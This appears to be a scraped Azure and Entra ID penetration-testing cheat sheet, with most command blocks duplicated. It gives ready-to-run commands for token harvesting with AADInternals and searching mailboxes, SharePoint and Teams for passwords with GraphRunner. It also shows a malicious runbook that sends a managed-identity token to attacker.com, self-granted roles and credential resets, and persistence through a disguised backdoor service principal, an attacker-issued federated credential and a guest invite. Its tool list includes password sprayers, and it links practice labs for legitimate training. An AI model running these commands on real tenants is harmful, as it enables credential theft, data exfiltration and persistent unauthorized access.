roadrecon dump -o output/
roadrecon plugin policies # Dump conditional access policiesAADInternals - Token Manipulation
Import-Module AADInternals
# Get tenant details
Get-AADIntTenantDetails -Domain domain.com
# Get access tokens for various resources
$token = Get-AADIntAccessTokenForMSGraph
$token = Get-AADIntAccessTokenForAADGraph
$token = Get-AADIntAccessTokenForAzureCoreManagement
# Use tokens to enumerate
Get-AADIntUsers -AccessToken $token
Get-AADIntGroups -AccessToken $token
Get-AADIntServicePrincipals -AccessToken $token
# Check for PRT (Primary Refresh Token)
Get-AADIntUserPRTTokenImport-Module AADInternals
# Get tenant details
Get-AADIntTenantDetails -Domain domain.com
# Get access tokens for various resources
$token = Get-AADIntAccessTokenForMSGraph
$token = Get-AADIntAccessTokenForAADGraph
$token = Get-AADIntAccessTokenForAzureCoreManagement
# Use tokens to enumerate
Get-AADIntUsers -AccessToken $token
Get-AADIntGroups -AccessToken $token
Get-AADIntServicePrincipals -AccessToken $token
# Check for PRT (Primary Refresh Token)
Get-AADIntUserPRTTokenGraphRunner - MS Graph Exploitation
# Import GraphRunner
Import-Module GraphRunner.ps1
# Authenticate
Get-GraphTokens # Interactive auth
# Or use existing token
$tokens = @{ access_token = "<token>" }
# Enumerate everything
Invoke-GraphRecon -Tokens $tokens -All
# Search for sensitive data
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password"
Invoke-SearchSharePoint -Tokens $tokens -SearchTerm "credentials"
Invoke-SearchTeams -Tokens $tokens -SearchTerm "secret"
# Dump data
Get-AzureADUsers -Tokens $tokens
Get-SecurityGroups -Tokens $tokens
Get-UpdatableGroups -Tokens $tokens # Groups you can add yourself to# Import GraphRunner
Import-Module GraphRunner.ps1
# Authenticate
Get-GraphTokens # Interactive auth
# Or use existing token
$tokens = @{ access_token = "<token>" }
# Enumerate everything
Invoke-GraphRecon -Tokens $tokens -All
# Search for sensitive data
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password"
Invoke-SearchSharePoint -Tokens $tokens -SearchTerm "credentials"
Invoke-SearchTeams -Tokens $tokens -SearchTerm "secret"
# Dump data
Get-AzureADUsers -Tokens $tokens
Get-SecurityGroups -Tokens $tokens
Get-UpdatableGroups -Tokens $tokens # Groups you can add yourself toPrivilege Escalation
Automation Account / Runbook Abuse
# List automation accounts
az automation account list --query "[].{Name:name,RG:resourceGroup}" -o table
# List runbooks
az automation runbook list --automation-account-name <account> --resource-group <rg>
# If you can create/modify runbooks, inject code:
# Runbooks often run with high-privilege Managed Identity
# Create malicious runbook (PowerShell)
$code = @'
$token = (Get-AzAccessToken -ResourceUrl https://management.azure.com/).Token
# Exfiltrate or use token
Invoke-WebRequest -Uri "https://attacker.com/token=$token"
'@
# Publish and run the runbook
az automation runbook replace-content --automation-account-name <account> \
--resource-group <rg> --name <runbook> --content "$code"
az automation runbook publish --automation-account-name <account> \
--resource-group <rg> --name <runbook>
az automation runbook start --automation-account-name <account> \
--resource-group <rg> --name <runbook># List automation accounts
az automation account list --query "[].{Name:name,RG:resourceGroup}" -o table
# List runbooks
az automation runbook list --automation-account-name <account> --resource-group <rg>
# If you can create/modify runbooks, inject code:
# Runbooks often run with high-privilege Managed Identity
# Create malicious runbook (PowerShell)
$code = @'
$token = (Get-AzAccessToken -ResourceUrl https://management.azure.com/).Token
# Exfiltrate or use token
Invoke-WebRequest -Uri "https://attacker.com/token=$token"
'@
# Publish and run the runbook
az automation runbook replace-content --automation-account-name <account> \
--resource-group <rg> --name <runbook> --content "$code"
az automation runbook publish --automation-account-name <account> \
--resource-group <rg> --name <runbook>
az automation runbook start --automation-account-name <account> \
--resource-group <rg> --name <runbook>App Registration Abuse
# Find apps you own or can modify
az ad app list --show-mine
# Add credentials to existing app (if you have Application.ReadWrite.All or owner)
az ad app credential reset --id <app-id> --append
# Create new service principal credential
az ad sp credential reset --id <sp-id> --append
# If app has high permissions, use new creds to authenticate
az login --service-principal -u <app-id> -p <new-secret> --tenant <tenant>
# Check what permissions the app has
az ad app permission list-grants --id <app-id># Find apps you own or can modify
az ad app list --show-mine
# Add credentials to existing app (if you have Application.ReadWrite.All or owner)
az ad app credential reset --id <app-id> --append
# Create new service principal credential
az ad sp credential reset --id <sp-id> --append
# If app has high permissions, use new creds to authenticate
az login --service-principal -u <app-id> -p <new-secret> --tenant <tenant>
# Check what permissions the app has
az ad app permission list-grants --id <app-id>Role Assignment Escalation
# List your current role assignments
az role assignment list --assignee <your-id> --all
# Check if you can assign roles (User Access Administrator, Owner)
# If yes, grant yourself higher privileges
az role assignment create --assignee <your-id> --role "Contributor" --scope /subscriptions/<sub-id>
# List all role assignments (find over-privileged accounts)
az role assignment list --all --query "[?principalType=='User'].{Principal:principalName,Role:roleDefinitionName,Scope:scope}" -o table# List your current role assignments
az role assignment list --assignee <your-id> --all
# Check if you can assign roles (User Access Administrator, Owner)
# If yes, grant yourself higher privileges
az role assignment create --assignee <your-id> --role "Contributor" --scope /subscriptions/<sub-id>
# List all role assignments (find over-privileged accounts)
az role assignment list --all --query "[?principalType=='User'].{Principal:principalName,Role:roleDefinitionName,Scope:scope}" -o tablePersistence Techniques
# Create backdoor service principal
az ad sp create-for-rbac --name "LegitLookingApp" --role Contributor --scopes /subscriptions/<sub-id>
# Save the output credentials!
# Add federated credential (no secret needed)
az ad app federated-credential create --id <app-id> --parameters '{
"name": "backdoor",
"issuer": "https://attacker.com",
"subject": "admin",
"audiences": ["api://AzureADTokenExchange"]
}'
# Create persistent access via invited guest user
az ad user invite --invited-user-email-address attacker@gmail.com --invite-redirect-url https://portal.azure.com
# Add app consent (if you have admin)
# This allows an app to access data without user interaction
az ad app permission admin-consent --id <app-id># Create backdoor service principal
az ad sp create-for-rbac --name "LegitLookingApp" --role Contributor --scopes /subscriptions/<sub-id>
# Save the output credentials!
# Add federated credential (no secret needed)
az ad app federated-credential create --id <app-id> --parameters '{
"name": "backdoor",
"issuer": "https://attacker.com",
"subject": "admin",
"audiences": ["api://AzureADTokenExchange"]
}'
# Create persistent access via invited guest user
az ad user invite --invited-user-email-address attacker@gmail.com --invite-redirect-url https://portal.azure.com
# Add app consent (if you have admin)
# This allows an app to access data without user interaction
az ad app permission admin-consent --id <app-id>AzureHound / BloodHound for Azure
AzureHound collects Azure AD and Azure Resource Manager data for analysis in BloodHound, revealing attack paths to high-value targets.
# Install AzureHound
go install github.com/bloodhoundad/azurehound/v2@latest
# Authenticate and collect
azurehound -u user@domain.com -p 'password' list --tenant <tenant-id> -o azurehound.json
# Or use refresh token
azurehound -r <refresh-token> list --tenant <tenant-id> -o azurehound.json
# Or use JWT access token
azurehound -j <access-token> list --tenant <tenant-id> -o azurehound.json
# Import into BloodHound
# Upload azurehound.json via BloodHound GUI
# Key queries in BloodHound:
# - Shortest path to Global Admin
# - Find all Kerberoastable users
# - Users with path to Azure subscriptions# Install AzureHound
go install github.com/bloodhoundad/azurehound/v2@latest
# Authenticate and collect
azurehound -u user@domain.com -p 'password' list --tenant <tenant-id> -o azurehound.json
# Or use refresh token
azurehound -r <refresh-token> list --tenant <tenant-id> -o azurehound.json
# Or use JWT access token
azurehound -j <access-token> list --tenant <tenant-id> -o azurehound.json
# Import into BloodHound
# Upload azurehound.json via BloodHound GUI
# Key queries in BloodHound:
# - Shortest path to Global Admin
# - Find all Kerberoastable users
# - Users with path to Azure subscriptionsAzure Pentesting Tools
ROADtools
ReconnaissanceFramework for Azure AD recon. Gathers data and provides web GUI for exploring users, groups, apps, and policies.
Installation
pip install roadtoolspip install roadtoolsAADInternals
ExploitationPowerShell module for Azure AD/Entra ID administration and offensive testing. Token manipulation, user enum, password spray.
Installation
Install-Module AADInternalsInstall-Module AADInternalsGraphRunner
Post-ExploitationPost-exploitation tool for MS Graph API. Search emails, SharePoint, Teams, OneDrive for sensitive data.
Installation
Import-Module GraphRunner.ps1Import-Module GraphRunner.ps1AzureHound
ReconnaissanceBloodHound collector for Azure. Maps attack paths through Azure AD relationships and role assignments.
Installation
go install github.com/bloodhoundad/azurehound/v2@latestgo install github.com/bloodhoundad/azurehound/v2@latestMicroBurst
ScanningCollection of PowerShell scripts for Azure security assessments. Storage enum, REST API enum, Key Vault access.
Installation
Import-Module MicroBurst.psm1Import-Module MicroBurst.psm1TokenTactics
ExploitationAzure JWT token manipulation toolkit. Forge, decode, and abuse access tokens and refresh tokens.
Installation
Import-Module TokenTactics.psd1Import-Module TokenTactics.psd1MFASweep
ReconnaissanceTest for MFA enforcement gaps across Azure services. Identifies services that don't require MFA.
Installation
Import-Module MFASweep.ps1Import-Module MFASweep.ps1Stormspotter
ReconnaissanceAzure Red Team tool for graphing Azure and Azure AD objects. Visualizes relationships and attack paths.
Installation
docker pull msazure/stormspotterdocker pull msazure/stormspotterScubaGear
ScanningCISA's tool for auditing M365 security configurations. Checks against security baselines.
Installation
Install-Module ScubaGearInstall-Module ScubaGearTrevorspray
ExploitationAdvanced password sprayer for Azure/O365. Supports proxy rotation, smart lockout avoidance.
Installation
pip install trevorspraypip install trevorsprayPractice Labs
AzureGoat
Vulnerable-by-design Azure infrastructure for learning cloud pentesting
DVAP (Damn Vulnerable Azure Platform)
Azure pentesting practice environment by NCC Group
PurpleCloud
Automated Azure AD lab deployment for security testing
Azure Threat Research Matrix
Microsoft's ATT&CK-style matrix for Azure attacks
External Resources
HackTricks - Azure Security
Comprehensive Azure pentesting methodology
PayloadsAllTheThings - Azure
Azure attack payloads and techniques
AADInternals Blog
Dr. Nestori Syynimaa's Azure AD research
SpecterOps Azure Research
Azure privilege escalation techniques
HackTricks Cloud
Cloud-specific pentesting wiki
Azure AD Security Videos
Video tutorials on Azure attacks
Azure Pentesting Labs
Hands-on exercises to practice Azure attack techniques in safe, controlled environments.